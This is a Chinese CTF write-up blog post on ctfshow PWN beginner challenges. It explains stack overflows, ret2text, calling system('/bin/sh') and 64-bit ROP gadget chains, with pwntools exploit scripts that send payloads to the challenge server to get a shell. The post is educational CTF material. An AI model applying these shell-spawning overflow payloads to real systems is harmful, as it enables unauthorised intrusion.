ctfshow——PWN 刷题笔记

Test_your_nc

pwn0

本题是PWN入门 系列题目的第0个题目,让大家提前感受下pwn的学习气氛

在根目录下得到flag


pwn1

提供一个后门函数,连上即可得到flag

nc连接得到flag


pwn2

给你一个shell,这次需要你自己去获得flag

输入cat /ctfshow_flag获取flag


pwn3

哪一个函数才能读取flag?

考察函数的应用

You can call the following function:
1._start
2.main
3.hello_ctfshow
4.ctfshow('echo /ctfshow_flag')
5.print('/ctfshow_flag')
6.system('cat /ctfshow_flag')
7.puts('/ctfshow_flag')
8.exit
Your choice is :

选择system函数的6得到flag


pwn4

或许需要先得到某个神秘字符

分析代码,将输入的s2与s1进行比对,如果一样则获得权限

  strcpy(s1, "CTFshowPWN");
  logo();
  puts("find the secret !");
  __isoc99_scanf("%s", s2);
  if ( !strcmp(s1, s2) )
    execve_func();

静态分析得到s1的值,输入获得权限


栈溢出

pwn35

正式开始栈溢出了,先来一个最最最最简单的吧

检查保护情况,只开了代码执行保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看主函数,首先这是一段对参数的检测(至少一个参数)。对argc解释一下,argc是我们启动函数时输入的参数的数量加1,因为程序默认有argc=1,且第一个参数为程序的名称即argv[0],此后我们输入的参数就为argv[1]。

if ( argc <= 1 )
  {
    puts("Try again!");
  }

当参数满足条件时,则会调用ctfshow这个函数,这个函数中strcpy将src的值赋给dest,但是未检测src的长度,造成此处的栈溢出漏洞

char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

在主函数中我们可以看到以下内容,stream内的内容存储在flag指针中

fgets(flag, 64, stream);

通过定位flag,我们可以发现sigsegv_handler( )函数中的内容,我们需要利用栈溢出将返回地址修改到此函数中,使得其能输出flag

void __noreturn sigsegv_handler()

{

  fprintf(stderr, "%s\n", flag);

  fflush(stderr);

  exit(1);

}

但是与一般的题型有些不同的是,这一题是用ssh连接。所以我们写一个exp来生成payload

from pwn import*

bin_sh_add=0x80485E6

payload=b'a'*(104+8)+p32(bin_sh_add)

print(payload)
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08

得到flag


pwn36

存在后门函数,如何利用?

检查保护情况,一个都没开

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

查看主函数,发现后门函数get_flag。主函数调用了ctfshow( ) 函数,发现危险函数get( ),可进行栈溢出

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

思路为通过get( )进行栈溢出将返回地址更改为后门函数地址,开始编写exp

from pwn import*

io=remote("pwn.challenge.ctf.show",28266)

bin_sh_add=0x8048586

payload=b'a'*(36+8)+p64(bin_sh_add)

io.sendlineafter(b'Enter what you want:',payload)

io.interactive()
# ctfshow{793cda4e-b6e8-4ceb-a441-95bc1b2dfc32}

pwn37

32位的 system(“/bin/sh”) 后门函数给你

检查保护情况,只开了代码执行保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看主函数,发现后门函数backdoor( ) 。查看主函数,先打印logo后调用ctfshow( )

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("Just very easy ret2text&&32bit");
  ctfshow();
  puts("\nExit");
  return 0;
}

ctfshow( )函数中返回时调用read函数从标准输入读取数据存放至buf缓冲区,但是读取长度大小超过了buf缓冲区的大小,造成了栈溢出。

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是32位程序)

from pwn import*

io=remote("pwn.challenge.ctf.show",28311)

bin_sh_add=0x8048521

payload=b'a'*(14+8)+p32(bin_sh_add)

io.sendlineafter(b"ret2text&&32bit",payload)

io.interactive()
# ctfshow{fa2e0559-383e-4a90-bd2c-0e7beff31a4e}

pwn38

64位的 system(“/bin/sh”) 后门函数给你

检查保护情况,发现只开了代码执行保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看主函数,发现后门函数backdoor( ) 。主函数中调用了ctfshow( )函数,和pwn37同理,read函数过量读导致栈溢出。

ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}

解题思路为通过栈溢出漏洞将返回地址更改为后门函数地址,编写exp(注意这里是64位程序)。

from pwn import*

io=remote("pwn.challenge.ctf.show",28289)

bin_sh_add=0x400658

payload=b'a'*(10+8)+p64(bin_sh_add)

io.sendlineafter(b"ret2text&&64bit",payload)

io.interactive()
# ctfshow{ed4ab5e2-96b3-47b4-99d8-bfe8b021e2f5}

这里需要注意的是为了进行栈对齐, bin_sh_add 的地址我们选择的是 0x400658 (push指令后的第一个地址),而不是后门函数的地址 0x400657 。


pwn39

32位的 system(); "/bin/sh"

检查保护,只开了代码执行保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看主函数,发现调用ctfshow( )函数,函数中read过量读存在栈溢出漏洞

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

观察其他部分发现hint( )函数中存在system函数以及“/bin/sh”的字符串

int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

解题思路为利用这两处来构造出system(“/bin/sh”)来获取shell


获得溢出长度

在GDB中用 cyclic 200 获得200个冗余字符

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

在使用r启动程序,将冗余字符填入程序,程序报错会返回一个地址

Invalid address 0x61676161

再使用 cyclic -l 命令即可获得溢出长度。

pwndbg> cyclic -l 0x61676161
Finding cyclic pattern of 4 bytes: b'aaga' (hex: 0x61616761)
Found at offset 22

也可以结合栈空间大小进行计算


寻找system@plt的地址

使用objdump命令来获取plt表中各个函数的地址,进而轻松拿到system函数的地址。

helloctfos@Hello-CTF:/mnt/c/Users/HelloCTF_OS/Desktop/pwn39$ objdump -d -j .plt pwn

pwn:     file format elf32-i386

Disassembly of section .plt:

08048370 <.plt>:
 8048370:       ff 35 04 a0 04 08       push   0x804a004
 8048376:       ff 25 08 a0 04 08       jmp    *0x804a008
 804837c:       00 00                   add    %al,(%eax)
        ...

08048380 <read@plt>:
 8048380:       ff 25 0c a0 04 08       jmp    *0x804a00c
 8048386:       68 00 00 00 00          push   $0x0
 804838b:       e9 e0 ff ff ff          jmp    8048370 <.plt>

08048390 <puts@plt>:
 8048390:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048396:       68 08 00 00 00          push   $0x8
 804839b:       e9 d0 ff ff ff          jmp    8048370 <.plt>

080483a0 <system@plt>:
 80483a0:       ff 25 14 a0 04 08       jmp    *0x804a014
 80483a6:       68 10 00 00 00          push   $0x10
 80483ab:       e9 c0 ff ff ff          jmp    8048370 <.plt>

080483b0 <__libc_start_main@plt>:
 80483b0:       ff 25 18 a0 04 08       jmp    *0x804a018
 80483b6:       68 18 00 00 00          push   $0x18
 80483bb:       e9 b0 ff ff ff          jmp    8048370 <.plt>

080483c0 <setvbuf@plt>:
 80483c0:       ff 25 1c a0 04 08       jmp    *0x804a01c
 80483c6:       68 20 00 00 00          push   $0x20
 80483cb:       e9 a0 ff ff ff          jmp    8048370 <.plt>

也可以直接在IDA中查看


编写exp

from pwn import*

context.log_level = "debug"
io=remote("pwn.challenge.ctf.show",28203)

bin_sh_add=0x8048750
system_plt=0x80483A0
call_system=0x804854F

# payload=b'a'*(14+8)+p32(system_plt)+p32(0)+p32(bin_sh_add)
payload=b'a'*(14+8)+p32(call_system)+p32(bin_sh_add)

io.sendlineafter(b"ret2text&&32bit",payload)

io.interactive()
# ctfshow{9d0d7f71-d700-4ea6-ba26-7255bc726832}

这里有两种思路

第一种是返回到 system@pltsystem@plt 指令执行后会被当前 eip 寄存器的值压栈,所以在payload中我们用 p32(0) 作为 eip 寄存器的值进入栈中。p32(0) 代表是system函数的返回地址,由于不需要返回到某个地方,所以直接使用p32(0)来顶替4个字节。32位传参是栈传参,参数与函数栈帧隔了一个返回地址,且参数在栈帧之下。

第二种是调用 call system 指令,我们不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面可以直接跟参数。


pwn40

检查保护情况,只开了代码执行保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看主函数,大致情况与pwn39一样,不同点在于此题为64位程序。

32位是栈传参,而64位是寄存器传参+栈传参,传的前几个参数一般使用寄存器,把参数传到寄存器中即可,若参数过多寄存器有限,64位汇编会继续使用栈传参。


具体64位传参方式如下:

当参数少于7个时, 参数 ==从左到右== 放⼊寄存器:

==rdi --> rsi --> rdx --> rcx --> r8 --> r9==

当参数为7个及以上时, 前 6 个与前⾯⼀样, 但后⾯的依次 ==从右向左== 放⼊栈中,和32位汇编⼀样。


获取寄存器地址

由于需要传参所以我们还需要将参数pop到rdi中,使用ret再继续取栈中我们填入的恶意地址继续控制程序的执行流。(ret的作用为:pop eip/rip;)

使用ROPgadget可以查询到 pop rdi;ret 的地址

ROPgadget --binary pwn --only "pop|ret"
Gadgets information
============================================================
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004fe : ret
0x000000000040069a : ret 0x2019

Unique gadgets found: 12

这里我们还需要记录ret的地址,因为在栈对齐的过程中需要用到。ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章:

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26

关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项

64位ubuntu18以上系统调用system函数时是需要栈对齐,为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。


这时候有两种解决方法。

1、将system函数地址+1,此处的+1,即是把地址+1,也可以理解为+1是为了跳过一条栈操作指令。我们的目的是跳过一条栈操作指令,使rsp十六字节对齐跳过这一条指令,自然就是把8变成0了。但又一个问题就是,本来+1是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(可能正好是mov指令,也有可能一个指令是好几个字节,+1之后没有到下一个指令),就还需要继续+1,一直加到遇见一条栈操作指令为止。

2、调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,但是执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。


其他查询步骤大致与pwn39相同,开始编写exp

from pwn import*

context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28196)

pop_rdi_ret=0x4007e3
ret_add=0x4004fe
system_plt=0x400520
bin_sh_add=0x400808

payload=b'a'*(10+8)+p64(pop_rdi_ret)+p64(bin_sh_add)+p64(ret_add)+p64(system_plt)

io.sendlineafter(b"ret2text&&64bit",payload)

io.interactive()
# ctfshow{491ac978-70d2-4ae2-b459-828942682834}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇